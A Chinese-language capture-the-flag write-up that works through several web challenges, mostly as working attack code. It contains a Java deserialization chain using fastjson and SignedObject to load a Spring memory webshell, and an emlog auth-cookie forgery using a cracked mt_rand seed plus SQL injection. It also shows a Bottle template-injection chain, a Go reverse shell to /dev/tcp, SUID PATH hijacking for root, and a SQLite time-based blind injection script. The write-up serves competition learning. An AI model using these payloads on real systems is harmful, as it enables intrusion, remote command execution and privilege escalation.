JavaGuide
@RequestMapping({"/deser"})
@ResponseBody
public String deserialize(@RequestParam String payload) {
byte[] decode = Base64.getDecoder().decode(payload);
try {
MyObjectInputStream myObjectInputStream = new MyObjectInputStream(new ByteArrayInputStream(decode));
myObjectInputStream.readObject();
} catch (InvalidClassException e) {
return e.getMessage();
} catch (Exception e) {
e.printStackTrace();
return "exception";
}
return "ok";
/deser
路由将接收到的数据进行base64解码,放到自定义的 MyObjectInputStream
对象中调用其 readObject
方法构成反序列化,如果反序列化时出现 InvalidClassException
则返回报错信息,其他报错返回 exception
,成功反序列化返回 ok
denyClasses = { "com.sun.org.apache.xalan.internal.xsltc.trax", "javax.management", "com.fasterxml.jackson" };
MyObjectInputStream
重写了resolveClass方法,过滤了以上类 不能直接通过TemplatesImpl加载恶意类字节码,也不能通过BadAttributeValueExpException到toString。 查询pom.xml发现存在fastjson,于是可以借fastjson进行二次反序列化来绕过黑名单
官wp使用了SignedObject来进行二次反序列化 SignedObject的getObject方法是一个典型的反序列化操作 且其内容也可控,也就是这里的
object
如何触发 getObject
呢? 我们知道
fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法
而 SignedObject
刚好符合,所以将 SignedObject
的一个对象通过 JSONarray
对象的add方法添加到列表中去,反序列化时便会自动调用✔
那么如何触发fastjson? jackson 原生反序列化触发 getter 方法 - 高人于斯 - 博客园 这篇文章中把jackson换成fastjson,主要是看前面怎么触发 toString
的
其中关键代码:
//EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
EventListenerList list = new EventListenerList(); UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits"); vector.add(pojoNode);
setFieldValue(list, "listenerList", new Object[] { Map.class, manager });
把 pojoNode
换成JSONarray的对象即可 而为了调用 EventListenerList
的toString,我们使用 HashMap
,将构造好的 signedObject
对象和 EventListenerList
对象作为键值对使用put方法放在一个hashmap对象中
当调用 hashmap
的readObject方法时,会调用到
最终触发到
EventListenerList
的readObject,进而调用到 UndoManager
,再到 ToString
触发fastjson
HashMap#readObject ->
EventListenerList#readObject ->
UndoManager#toString ->
fastjson.JSONArray#toString ->
java.security.SignedObject#getObject ->
TemplatesImpl#newTransformer->
TemplatesImpl#getTransletInstance->
TemplatesImpl#defineTransletClasses->
TransletClassLoader#defineClass //加载恶意类字节码
完整堆栈
defineClass:185, TemplatesImpl$TransletClassLoader (com.sun.org.apache.xalan.internal.xsltc.trax)
defineTransletClasses:414, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getTransletInstance:451, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
newTransformer:486, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
getOutputProperties:507, TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax)
write:-1, ASMSerializer_2_TemplatesImpl (com.alibaba.fastjson.serializer)
writeWithFieldName:360, JSONSerializer (com.alibaba.fastjson.serializer)
write:-1, ASMSerializer_1_SignedObject (com.alibaba.fastjson.serializer)
write:135, ListSerializer (com.alibaba.fastjson.serializer)
write:312, JSONSerializer (com.alibaba.fastjson.serializer)
toJSONString:1077, JSON (com.alibaba.fastjson)
toString:1071, JSON (com.alibaba.fastjson)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:462, AbstractCollection (java.util)
toString:1000, Vector (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:258, CompoundEdit (javax.swing.undo)
toString:621, UndoManager (javax.swing.undo)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
add:187, EventListenerList (javax.swing.event)
readObject:277, EventListenerList (javax.swing.event)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
readObject:1409, HashMap (java.util)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1158, ObjectStreamClass (java.io)
readSerialData:2173, ObjectInputStream (java.io)
readOrdinaryObject:2064, ObjectInputStream (java.io)
readObject0:1568, ObjectInputStream (java.io)
readObject:428, ObjectInputStream (java.io)
unserialize:84, Exp (com.orxiain.vn5)
main:73, Exp (com.orxiain.vn5)
在本地把题目中的反序列化逻辑实现,并输入payload进行反序列化检测:
虽然回返出异常,但恶意类应该已正常加载
public static void main(String[] args) throws Exception{
byte[] bytes = Repository.lookupClass(SpringMemShell.class).getBytes();
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{bytes});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
//获取内存马的恶意字节码并存储
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(templates, kp.getPrivate(), Signature.getInstance("DSA"));
//SignedObject二次反序列化相关,将构造好的templates传入,当进行readObject时触发加载
JSONArray jsonArray = new JSONArray();
jsonArray.add(signedObject);
//将构造好的signedObject对象放在fastjson对象中被打包,当反序列化时会调用signedObject的getObject方法,触发readObject
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) getFieldValue(manager, "edits");
vector.add(jsonArray);//放入fastjson对象
setValue(list, "listenerList", new Object[]{InternalError.class, manager});
//EventListenerList触发tostring
HashMap hashMap = new HashMap();
hashMap.put(signedObject,list);
byte[] serialize = serialize(hashMap);
System.out.println(Base64.getEncoder().encodeToString(serialize));
unserialize(serialize);
}
public static byte[] serialize(Object obj) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
return baos.toByteArray();
}
public static void unserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
}
// 模拟反序列化
public static Object getFieldValue(Object obj, String fieldName)
throws NoSuchFieldException, IllegalAccessException {
Class clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field.get(obj);
} catch (Exception e) {
clazz = clazz.getSuperclass();
} }
return null;
}
Spring内存马
package com.orxiain.vn5;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringMemShell extends AbstractTranslet{
static {
try {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Field configField = mappingHandlerMapping.getClass().getDeclaredField("config");
configField.setAccessible(true);
RequestMappingInfo.BuilderConfiguration config =
(RequestMappingInfo.BuilderConfiguration) configField.get(mappingHandlerMapping);
Method method2 = SpringMemShell.class.getMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
RequestMappingInfo info = RequestMappingInfo.paths("/shell")
.options(config)
.build();
SpringMemShell springControllerMemShell = new SpringMemShell();
mappingHandlerMapping.registerMapping(info, springControllerMemShell, method2);
} catch (Exception hi) {
} }
public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
if (request.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
} String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
response.getWriter().write(output);
response.getWriter().flush();
} }
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}}
将输出的base64数据进行URL强制编码后通过POST上传
得到webshell
Links
ez_emblog
emlog/emlog: 轻量级开源建站系统 比较新的洞,主页提示install.php,拉取源码进行审计
其中关于COOKIE生成的代码:发现用到了getRandStr函数
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}
分析这个函数,其中的 emrand()
又调用了 mt_rand
,这个函数存在安全隐患,可以用下面这个工具进行爆破: php_mt_seed - PHP mt_rand() seed cracker
在比赛结束后,这个漏洞被提交修复 现在变成调用这个:
function em_rand($min = 0, $max = 0)
{
if (function_exists('random_int')) {
try {
return random_int($min, $max);
} catch (Exception $e) {
// 失败时继续使用其他方法
}
}
return mt_rand($min, $max);
}
所以要先有一段cookie才能爆破,全文查找 setcookie
函数被调用的地方
拿到COOKIE
将拼接的字符串转换为 php_mt_rand
脚本可以识别的样式
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='RbAWvNJZ5YMeZLGMr56lfjValO3yqYlr'
length = len(str2)
res=''
for i in range(len(str2)):
res += "0 0 0 0 "
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
爆破得到
得到 2430606281
我们可以用这个生成KEY 注意到KEY的机制:
. "const AUTH_KEY = '" . getRandStr(32) . md5(getUA()) . "';"
网站给出了管理用户的UA,于是可以进行伪造
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
构造脚本
<?php
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}
mt_srand(2430606281);// 2430606281 is the seed
$a = getRandStr(32);
$b = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36");
echo "AUTH_KEY = '".$a.$b."';\n";
得到
AUTH_KEY = 'yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02';
接下来伪造登录COOKIE 看到相关逻辑函数
在
validateAuthCookie
函数中可以看见COOKIE的生成逻辑
public static function setAuthCookie($user_login, $persist = false)
{
if ($persist) {
$expiration = time() + 3600 * 24 * 30 * 12;
} else {
$expiration = 0;
}
$auth_cookie_name = AUTH_COOKIE_NAME;
$auth_cookie = self::generateAuthCookie($user_login, $expiration);
setcookie($auth_cookie_name, $auth_cookie, $expiration, '/', '', false, true);
}
其中调用了
private static function generateAuthCookie($user_login, $expiration)
{
$key = self::emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);
return $user_login . '|' . $expiration . '|' . $hash;
}
auth_cookie_name
的内容是我们生成的随机数和 EM_AUTHCOOKIE_"
的拼接
"const AUTH_COOKIE_NAME = 'EM_AUTHCOOKIE_" . getRandStr(32, false) . "';";
那么我们只需要知道用户名即可伪造,接下来考虑用户名的绕过
getUserDataByLogin
的username参数存在sql注入点
public static function getUserDataByLogin($account)
{
$DB = Database::getInstance();
if (empty($account)) {
return false;
}
$ret = $DB->once_fetch_array("SELECT * FROM " . DB_PREFIX . "user WHERE username = '$account' AND state = 0");
if (!$ret) {
$ret = $DB->once_fetch_array("SELECT * FROM " . DB_PREFIX . "user WHERE email = '$account' AND state = 0");
if (!$ret) {
return false;
}
}
$userData['nickname'] = htmlspecialchars($ret['nickname']);
$userData['username'] = htmlspecialchars($ret['username']);
$userData['password'] = $ret['password'];
$userData['uid'] = $ret['uid'];
$userData['role'] = $ret['role'];
$userData['photo'] = $ret['photo'];
$userData['email'] = $ret['email'];
$userData['description'] = $ret['description'];
$userData['ip'] = $ret['ip'];
$userData['credits'] = (int)$ret['credits'];
$userData['create_time'] = $ret['create_time'];
$userData['update_time'] = $ret['update_time'];
return $userData;
}
getUserDataByLogin
在 validateAuthCookie
和 checkUser
中被调用,前者是检查COOKIE有效性的函数,username参数会直接传入不做md5处理,于是我们可以在生成COOKIE时构造万能密码
构造脚本:
<?php
function getRandStr($length = 12, $special_chars = true, $numeric_only = false)
{
if ($numeric_only) {
$chars = '0123456789';
} else {
$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
if ($special_chars) {
$chars .= '!@#$%^&*()';
}
}
$randStr = '';
$chars_length = strlen($chars);
for ($i = 0; $i < $length; $i++) {
$randStr .= substr($chars, mt_rand(0, $chars_length - 1), 1);
}
return $randStr;
}
function emHash($data)
{
return hash_hmac('md5', $data, "yxuzKkM2QC8L8WLPFvawb(mI4R&NglOA558fb80a37ff0f45d5abbc907683fc02");
}
mt_srand(2430606281);//set the seed
$a = getRandStr(32);
$b = md5("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36"); //UA泄露
$AUTH_KEY = $a.$b;
echo "AUTH_KEY = '".$a.$b."';\n";
$AUTH_COOKIE_NAME = "EM_AUTHCOOKIE_" . getRandStr(32, false);
echo "AUTH_COOKIE_NAME = ".$AUTH_COOKIE_NAME.";";
$expiration = 0;
//构造sql注入万能钥匙
$USERNAME = "' or 1=1#";
$c = $USERNAME . '|' .$expiration;
$d = emHash($c);
$hash = hash_hmac('md5', $c, $d);
echo "\n";
echo $AUTH_COOKIE_NAME . "=" . $c . "|" .$hash;
主页修改cookie后成功进入管理后台
进入后台后的漏洞点在本地插件上传,可以自编写恶意插件
也可以随便找个插件进行修改,插入一句话木马 zhheo/emlog-plugin-postchat: PostChat的emlog博客系统插件,站点AI增强工具,实现文章摘要与知识库对话
注意修改插件时把非法访问相关的逻辑注释掉
上传后访问插件所在目录
http://node.vnteam.cn:44318/content/plugins/postchat/postchat.php
学生姓名登记系统
我说怎么可能在23个字符限制下实现命令执行,原来不是jinjia2啊
直接问AI了,o1告诉我是flask,我也没多想/_ \,反省了
bing搜索py单文件框架得到 bottle
这个框架,查询官方文档发现其使用的模板引擎 SimpleTemplate — Bottle 0.14-dev documentation 该模板支持单行运行python语句
赋值的方式是 {{a:=6}}
所以可以:
{{a:=''}}
{{b:=a.__class__}}
获得其类,接下来就是正常的SSTI
{{a:=''}}
{{b:=a.__class__}}
{{c:=b.__base__}}
{{d:=c.__subclasses__}}
{{e:=d()[156]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
{{z:='__builtins__'}}
{{h:=g[z]}}
{{i:=h['op''en']}}
{{x:=i("/flag")}}
{{y:=x.read()}}
Gin
最后没有用find指令查询所有带suid权限的可执行文件,操作铸币了😭
任意文件读取
得到key:122r00t32l
伪造jwt token登入admin 然后可以按找官wp使用 goeval
实现系统命令执行,或者使用syscall
package main
import (
"syscall"
"unsafe"
)
func main() {
// 定义要执行的命令
cmd := "/bin/bash"
arg1 := "-c"
arg2 := "bash -i >& /dev/tcp/xxxxxxx/15555 0>&1"
// 将字符串转换为指针数组
argv := []uintptr{
uintptr(unsafe.Pointer(syscall.StringBytePtr(cmd))),
uintptr(unsafe.Pointer(syscall.StringBytePtr(arg1))),
uintptr(unsafe.Pointer(syscall.StringBytePtr(arg2))),
0,
}
// 调用 execve 执行命令
syscall.Syscall(
syscall.SYS_EXECVE,
uintptr(unsafe.Pointer(syscall.StringBytePtr(cmd))),
uintptr(unsafe.Pointer(&argv[0])),
0,
)
}
使用 find / -user root -perm -4000 -print 2>/dev/null
查找拥有root权限的软件
发现
要是直接运行 /.../Cat
会发现它输出了根目录下的flag,它运行了 cat flag
所以可以劫持cat,将 /bin/bash
写入任意目录的 cat
下,然后将环境变量 PATH
设置为那个目录,这样 /.../Cat
就会运行 /bin/bash
实现提权
echo '/bin/bash' > /tmp/cat
export PATH=/tmp:$PATH
/.../Cat
flag在root下
奶龙
知道是延时注入,但是没想到用了sqlite,懊悔自己的脑子转的太慢,而且没有准备好相关的fuzz字典
import requests
import time
url = 'http://node.vnteam.cn:port/login'
flag = ''
for i in range(1, 500):
low = 32
high = 128
mid = (low + high) // 2
while low < high:
time.sleep(0.2)
payload = (
"-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(username))/**/from/**/users),{0},1)>'{1}')"
"/**/then/**/randomblob(50000000)/**/else/**/0/**/end)/*"
).format(i, chr(mid))
# Alternative payload example:
# payload = (
# "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(sql))/**/from/**/sqlite_master),{0},1)>'{1}')"
# "/**/then/**/randomblob(300000000)/**/else/**/0/**/end)/*"
# ).format(i, chr(mid))
datas = {"username": "123", "password": payload}
start_time = time.time()
res = requests.post(url=url, json=datas)
end_time = time.time()
spend_time = end_time - start_time
if spend_time >= 0.19:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if mid == 32 or mid == 127:
break
flag = flag + chr(mid)
print(flag)
print('\n' + bytes.fromhex(flag).decode('utf-8'))
END
打了24h没合眼,深刻意识到自己多方面的不足
无论如何得打出成绩